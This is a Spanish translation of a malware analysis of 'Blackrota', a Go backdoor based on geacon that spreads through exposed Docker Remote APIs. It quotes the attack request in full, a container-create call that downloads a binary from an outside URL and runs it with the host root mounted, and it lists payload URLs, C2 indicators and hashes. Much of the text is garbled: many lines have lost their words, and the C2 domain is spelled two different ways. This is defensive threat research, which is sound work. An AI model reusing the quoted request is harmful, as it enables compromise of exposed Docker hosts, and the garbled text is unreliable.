El malware Go ELF más ofuscado que hemos visto hasta la fecha.
Prefacio
Recientemente, una puerta trasera maliciosa escrita en Go que explotaba una vulnerabilidad de acceso no autorizado en la API de Docker Remote se detectó en Anglerfish Honeypot.
Lo llamamos Blackrota porque su dominio C2 es blackrota.ga .
La puerta trasera de Blackrota está disponible actualmente solo para Linux, en formato ELF y es compatible con arquitecturas x86 / x86-64.
Blackrota se configura y compila en función de geacon , la implementación de CobaltStrike Beacon Go utilizada como CobaltStrike Beacon, que interactúa con CobaltStrike para controlar un host comprometido:
Sin embargo, esta es solo una implementación de algunas de las características clave del CobaltStrike Beacon original:
CMD_SHELL: ejecución de comandos de Shell,
CMD_UPLOAD: cargar archivos,
CMDDOWNLOAD: descarga archivos especiales,
CMD_FILE _ ROWSE: ver el archivo,
CMD_CD: cambiar de directorio,
CMD_SLEEP: establece el tiempo de retraso del sueño,
CMD_PWD: devuelve el directorio actual,
CMD_EXIT: salir.
geacon, Blackrota gobfuscate - . Gobfuscate - Go-, Go- :
;
;
;
;
.
, gobfuscate XOR , XOR, .
Go . , , , , . , , , Go . , Go.
, Go : RTSI (Runtime Symbol Information) RTTI (Runtime Type Information) . , Go, , Go. Go . , RTSI RTTI , , .
Blackrota gobfuscate , "life-door" . , , . .
, Go, , - , . Blackrota - Go ELF , .
Blackrota
Blackrota API Docker. :
POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json
{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
32/64 Blackrota URL :
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
Blackrota
, Blackrota Go. go_parser IDAPro, , Go1.15.3, GOROOT path "/usr/local/Cellar/ go/1.15.3/libexec". , , , , , , .
, ( )
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go
Blackrota
, , , , Blackrota .
:
:
, , , :
, , , Go , . , , , Blackrota geacon.
, Blackrota, :
geacon Blackrota, ,
idb2pat.py IDAPro (geacon.pat) geacon-,
sigmake Flair Tools geacon (geacon.sig),
geacon.sig Blackrota IDAPro, .
! , , , , geacon-, :
Blackrota
, , Go, Blackrota, geacon . , geacon.
, Blackrota XOR , , , . XOR. gobfuscate XOR , , , . XOR :
, , XOR XOR. , .
, Go, , , . - , @joakimkennedy, main:
main - :
- EKANS, , Blackrota:
La técnica de ofuscación utilizada en el malware Blackrota y EKANS crea nuevas llamadas / problemas para el desmontaje. A medida que el lenguaje Go se vuelva más popular y más y más malware se escriba en Go en el futuro, vigilaremos lo que sucede.
IoC
MD5:
e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
C&C:
blackrato.ga 165.227.199.214 ASN: 14061|DigitalOcean,_LLC
PD: El artículo fue publicado con el permiso del autor. Mi primera traducción, trátela con comprensión.